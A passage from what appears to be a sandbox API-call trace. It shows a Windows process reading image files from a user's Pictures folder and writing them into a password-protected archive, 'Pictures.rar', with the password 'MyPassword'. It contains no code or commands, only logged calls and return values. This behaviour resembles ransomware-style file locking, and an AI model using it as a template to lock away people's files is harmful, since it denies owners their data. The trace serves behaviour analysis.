lpDistanceToMoveHigh=0x16d220*=0) returned 0x7719c [0059.828] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.828] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.828] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.828] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.828] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xd0, lpOverlapped=0x0) returned 1 [0059.828] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.828] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.828] SetFilePointer (in: hFile=0x198, lDistanceToMove=487743, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7713f [0059.828] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x7713f [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.828] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fe80 [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.828] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fed0 [0059.828] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.828] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.828] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.828] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.829] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fe80 [0059.829] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.829] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x5d, lpOverlapped=0x0) returned 1 [0059.829] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.829] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.829] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7726c [0059.829] CloseHandle (hObject=0x1b0) returned 1 [0059.829] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.829] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.829] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.829] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.829] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\23KKWJn4X.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.829] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.829] CreateFileW (lpFileName="FF-GXA22K-J\\23KKWJn4X.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\23kkwjn4x.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.829] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.829] GetTickCount () returned 0xa65505 [0059.829] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.829] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.829] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.829] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.829] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0059.829] SetWindowTextW (hWnd=0x1024c, lpString="23KKWJn4X.jpg") returned 1 [0059.830] GetTickCount () returned 0xa65505 [0059.830] UpdateWindow (hWnd=0x10244) returned 1 [0059.830] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.830] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.830] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.830] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.830] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x206)) [0059.830] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.830] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13517074611) returned 1 [0059.830] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x36bd, lpOverlapped=0x0) returned 1 [0059.831] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d36fd, nNumberOfBytesToRead=0xfc943, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d36fd*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.831] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fed0 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.831] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fe80 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.831] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fed0 [0059.831] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.831] GetTickCount () returned 0xa65505 [0059.831] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13517182774) returned 1 [0059.831] GetTickCount () returned 0xa65505 [0059.831] GetTickCount () returned 0xa65505 [0059.832] GetTickCount () returned 0xa65505 [0059.832] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.832] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.832] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.832] ResetEvent (hEvent=0x1a4) returned 1 [0059.832] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.833] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.833] ResetEvent (hEvent=0x1a4) returned 1 [0059.833] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.834] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.834] GetTickCount () returned 0xa65505 [0059.834] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13517412939) returned 1 [0059.834] GetTickCount () returned 0xa65505 [0059.834] GetTickCount () returned 0xa65505 [0059.834] GetTickCount () returned 0xa65505 [0059.834] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.834] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.834] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.834] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.834] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x7726c [0059.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=109, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x772d9 [0059.834] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.834] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.834] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.834] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.834] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x36e0, lpOverlapped=0x0) returned 1 [0059.835] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.835] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=488044, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7726c [0059.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x7726c [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.835] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fe80 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.835] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fed0 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.835] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fe80 [0059.835] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.835] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x6d, lpOverlapped=0x0) returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6d) returned 0x2a0add0 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.835] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7a9b9 [0059.835] CloseHandle (hObject=0x1b0) returned 1 [0059.835] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.835] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.835] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.835] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.836] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.836] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.836] CreateFileW (lpFileName="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\fkaf idlrz23ptj2k-o.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.836] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.836] GetTickCount () returned 0xa65505 [0059.836] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.836] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.836] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.836] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.836] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="23KKWJn4X.jpg") returned 13 [0059.836] SetWindowTextW (hWnd=0x1024c, lpString="FKAF idlRz23ptJ2k-O.bmp") returned 1 [0059.836] GetTickCount () returned 0xa65505 [0059.836] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.836] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.837] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.837] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.837] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x206)) [0059.837] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.837] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13517718140) returned 1 [0059.837] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xeeff, lpOverlapped=0x0) returned 1 [0059.838] ReadFile (in: hFile=0x1b0, lpBuffer=0x36def3f, nNumberOfBytesToRead=0xf1101, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36def3f*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.838] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.838] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.838] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fed0 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.838] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fe80 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.838] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bfc0 | out: hHeap=0x1b0000) returned 1 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.838] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fed0 [0059.838] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.838] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.838] GetTickCount () returned 0xa65505 [0059.838] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13517867360) returned 1 [0059.838] GetTickCount () returned 0xa65505 [0059.838] GetTickCount () returned 0xa65505 [0059.838] GetTickCount () returned 0xa65505 [0059.838] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.838] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.838] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.839] ResetEvent (hEvent=0x1a4) returned 1 [0059.839] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.842] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.842] ResetEvent (hEvent=0x1a4) returned 1 [0059.842] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.844] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.844] GetTickCount () returned 0xa65515 [0059.844] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13518476602) returned 1 [0059.844] GetTickCount () returned 0xa65515 [0059.844] GetTickCount () returned 0xa65515 [0059.844] GetTickCount () returned 0xa65515 [0059.844] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.844] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.845] ResetEvent (hEvent=0x190) returned 1 [0059.845] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.845] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.845] ResetEvent (hEvent=0x190) returned 1 [0059.845] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.846] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.846] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.846] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x7a9b9 [0059.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=119, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x7aa30 [0059.846] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.847] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.847] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.847] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.847] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xef70, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xef70, lpOverlapped=0x0) returned 1 [0059.848] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.848] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=502201, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7a9b9 [0059.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x7a9b9 [0059.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, 